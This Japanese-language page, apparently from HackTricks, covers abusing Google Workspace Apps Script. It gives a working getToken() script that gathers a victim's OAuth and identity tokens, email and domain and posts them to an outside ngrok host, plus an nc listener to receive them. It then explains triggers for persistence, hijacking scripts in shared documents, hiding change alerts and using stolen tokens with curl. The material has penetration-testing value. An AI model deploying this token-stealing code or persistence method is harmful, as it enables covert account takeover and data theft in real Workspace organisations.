GWS - App Scripts

HackTricksのサポート

App Scripts

App Scriptsは、エディター権限を持つユーザーが関連付けられたドキュメントにアクセスし、OAuthプロンプトを受け入れた後にトリガーされるコードです。 所有者はApp Scriptsを一定時間ごとに実行するように設定することもできます(持続性)。

App Scriptの作成

App Scriptを作成する方法はいくつかありますが、最も一般的な方法はGoogleドキュメント(どのタイプでも)からとスタンドアロンプロジェクトとしてです:

Google Docs、Sheets、またはSlidesからコンテナバウンドプロジェクトを作成
  1. ドキュメント、スプレッドシート、またはプレゼンテーションを開きます。

  2. 拡張機能 > Google Apps Scriptをクリックします。

  3. スクリプトエディタで、Untitled projectをクリックします。

  4. プロジェクトに名前を付けてRenameをクリックします。

スタンドアロンプロジェクトを作成

Apps Scriptからスタンドアロンプロジェクトを作成するには:

  1. script.google.comに移動します。

  2. New Projectをクリックします。

  3. スクリプトエディタで、Untitled projectをクリックします。

  4. プロジェクトに名前を付けてRenameをクリックします。

Google Driveからスタンドアロンプロジェクトを作成
  1. Google Driveを開きます。

  2. New > More > Google Apps Scriptをクリックします。

Google Formsからコンテナバウンドプロジェクトを作成
  1. Google Formsでフォームを開きます。

  2. より多くのオプション more_vert > Script editorをクリックします。

  3. スクリプトエディタで、Untitled projectをクリックします。

  4. プロジェクトに名前を付けてRenameをクリックします。

claspコマンドラインツールを使用してスタンドアロンプロジェクトを作成

claspは、ターミナルからApps Scriptプロジェクトを作成、プル/プッシュ、デプロイできるコマンドラインツールです。

詳細については、Command Line Interface using clasp guideを参照してください。

App Scriptシナリオ

App Scriptを使用してGoogleシートを作成

App Scriptを作成するには、このシナリオではGoogleシートを作成し、**Extensions > App Scripts**に移動します。これにより、シートにリンクされた新しいApp Scriptが開きます。

トークンの漏洩

OAuthトークンへのアクセスを許可するために、Services +をクリックして以下のようなスコープを追加する必要があります:

  • AdminDirectory: ディレクトリのユーザーとグループにアクセス(ユーザーに十分な権限がある場合)

  • Gmail: Gmailデータにアクセスするため

  • Drive: ドライブデータにアクセスするため

  • Google Sheets API: トリガーと連動するため

必要なスコープを自分で変更するには、プロジェクト設定に移動して、Show "appsscript.json" manifest file in editorを有効にします。

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

リクエストをキャプチャするには、次のコマンドを実行するだけです:

ngrok tcp 4444
nc -lv 4444 #macOS

アプリスクリプトを実行するためにリクエストされるアクセス許可:

外部リクエストが行われると、OAuthプロンプトは外部エンドポイントにアクセスする権限を求めることもあります。

トリガーの作成

アプリを読み込んだら、⏰ トリガーをクリックしてトリガーを作成します。関数としては**getTokenを選択し、デプロイメントでHeadを選択し、イベントソースではFrom spreadsheetを選択し、イベントタイプではOn openまたはOn edit**(必要に応じて)を選択して保存します。

必要に応じて、何かをデバッグしたい場合は、アプリスクリプトの実行タブで実行を確認できます。

共有

アプリスクリプトトリガーするために、被害者はエディターアクセスで接続する必要があります。

アプリスクリプトを実行するために使用されるトークンは、トリガーの作成者のものになります。たとえ他のユーザーがエディターとしてファイルを開いても、そのトリガーの作成者のトークンが使用されます。

共有されたドキュメントの悪用

誰かがアプリスクリプトを使用してトリガーを作成し、アプリスクリプトのHeadを使用したドキュメントを共有した場合、アプリスクリプトコードを変更して(たとえばトークンを盗む機能を追加して)アクセスし、そのドキュメントを共有したユーザーの権限でアプリスクリプトが実行されます!(トリガーの作成時に与えられたアクセススコープが、所有者のOAuthトークンにアクセススコープとして設定されます)。

スクリプトの作成者には、スクリプトが変更されたことを示す通知が送信されます(アラートを防ぐためにGmailアクセス許可を使用してフィルターを生成するのはどうでしょうか?)

攻撃者がアプリスクリプトのスコープを変更した場合、更新はドキュメントに適用されません。そのため、変更がある新しいトリガーが作成されるまで、所有者の作成者トークンを盗むことはできません。攻撃者が作成したトリガーで設定したスコープよりも多くのスコープを持つトークンを盗むことはできません。

共有ではなくコピー

ドキュメントを共有するリンクを作成すると、次のようなリンクが作成されます:https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit 末尾の**"/edit""/copy"**に変更すると、Googleにアクセスする代わりに、そのドキュメントのコピーを生成するかどうかを尋ねられます:

ユーザーがコピーしてアクセスすると、ドキュメントの内容とアプリスクリプトがコピーされますが、トリガーはコピーされないため、何も実行されません

Webアプリケーションとして共有

アプリスクリプトをWebアプリケーションとして共有することも可能です(アプリスクリプトのエディターでWebアプリケーションとしてデプロイ)。ただし、次のようなアラートが表示されます:

必要な権限を求める典型的なOAuthプロンプトに続いて表示されます。

テスト

次のコードを使用して収集したトークンをリストアップすることができます:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

ユーザーのカレンダーをリストアップします:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

アプリスクリプトを永続化として使用

永続性の1つのオプションは、ドキュメントを作成し、getTokenのトリガーを追加し、攻撃者と共有することです。攻撃者がファイルを開くたびに、被害者のトークンを外部に送信します。

また、App Scriptを作成し、X時間ごとにトリガーを設定して実行することも可能です(例:毎分、毎時、毎日...)。侵害された資格情報や被害者のセッションを持つ攻撃者は、App Scriptの時間トリガーを設定し、非常に特権のあるOAuthトークンを毎日漏洩させることができます:

単にApp Scriptを作成し、トリガーに移動し、トリガーを追加し、イベントソースをTime-drivenに選択し、最適なオプションを選択します:

これにより、このことについてのセキュリティアラートメールとモバイルへのプッシュメッセージが作成されます。

共有ドキュメントの未検証プロンプトバイパス

さらに、誰かが編集アクセスであなたと共有したドキュメントがある場合、そのドキュメント内にApp Scriptを生成し、そのドキュメントのOWNER(作成者)がApp Scriptの所有者になります。

これは、ドキュメントの作成者が、その中で作成された任意のApp Scriptの作成者として表示されることを意味します。

これはまた、そのドキュメントの作成者のWorkspace環境によって、App Scriptが信頼されることを意味します。

これはまた、App Scriptがすでに存在しており、人々がアクセスを許可している場合、そのドキュメントにエディタ権限を持つ誰でも変更してアクセスを悪用することができます。 これを悪用するには、人々にApp Scriptをトリガーするようにする必要があります。また、スクリプトをWebアプリとして公開するという便利なトリックもあります。アクセスをすでに許可している人々がWebページにアクセスすると、App Scriptがトリガーされます(これは<img>タグを使用しても機能します)。

HackTricksのサポート

Last updated